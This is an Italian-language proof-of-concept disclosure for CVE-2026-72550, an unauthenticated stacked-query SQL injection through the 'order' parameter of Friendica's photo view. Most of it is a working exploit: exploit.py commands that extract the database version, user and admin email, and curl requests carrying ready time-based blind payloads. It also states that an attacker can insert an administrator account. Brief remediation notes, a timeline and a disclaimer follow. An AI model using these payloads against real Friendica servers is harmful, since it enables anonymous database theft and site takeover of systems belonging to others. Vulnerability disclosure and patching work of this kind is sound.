
CVE-2026-72550 — PoC di SQL Injection a query impilate non autenticata in Friendica (CVSS 9.8 Critico)
| Campo | Valore |
|---|
| ID CVE | CVE-2026-72550 |
| Prodotto | Friendica (social network federato self-hosted) |
| Versioni interessate | <= 2026.08-dev (git HEAD e3fc1bc) |
| Tipo | CWE-89: Iniezione SQL (non autenticata, query impilate) |
| Gravità | Critica — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticazione richiesta | Nessuna |
L'endpoint di visualizzazione delle foto in Friendica prende il parametro della query order e lo concatena, senza escape, in un'istruzione SHOW COLUMNS ... LIKE '...' eseguita tramite un semplice PDO::query() — che consente più istruzioni. Non è richiesto alcun login e, su un'installazione standard (block_public è disattivato di default), qualsiasi foto pubblicamente visibile è sufficiente. Poiché PDO::query() esegue istruzioni impilate, un attaccante anonimo non si limita a leggere i dati — esegue SQL arbitrario, inclusi INSERT/UPDATE per creare un utente amministratore.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
Il percorso di richiesta predefinito raggiunge questo codice: $cmd ha valore predefinito 'view' (soddisfacendo il controllo $cmd === 'view') e no_count è disattivato, quindi non sono necessarie autenticazione né impostazioni non predefinite.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| Flag | Descrizione |
|---|---|
-u / --url | URL di base del target (es. http://target:8176) |
-r / --user | Nome utente di cui colpire la galleria fotografica |
-i / --resource-id | ID risorsa di una qualsiasi foto pubblicamente visibile |
--extract | Valore da esfiltrare: version, db_user, db_name, admin_email |
--check-only | Testa solo la vulnerabilità, non estrarre dati |
--sleep | Ritardo SLEEP in secondi (predefinito: 5) |
Non sono necessari cookie né autenticazione. Punta a qualsiasi resource-id di una foto pubblica:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Payload decodificato: x';SELECT SLEEP(5)-- -
L'SQL iniettato diventa:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Un attaccante non autenticato può:
INSERT INTO userSi tratta di una compromissione completa del database raggiungibile da qualsiasi visitatore anonimo su un'installazione predefinita di Friendica.
order rispetto alla whitelist delle colonne note prima dell'usoSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| Data | Evento |
|---|---|
| 2026-07-07 | Vulnerabilità scoperta e confermata su istanza locale |
| 2026-08-11 | CVE-2026-72550 pubblicato tramite CNA TuranSec |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali disponi di un esplicito permesso scritto. L'autore non si assume alcuna responsabilità per un uso improprio.
Scoperta da Bobur Abdugafforov (@abdugafforov-bobur)
CVE assegnato tramite CNA TuranSec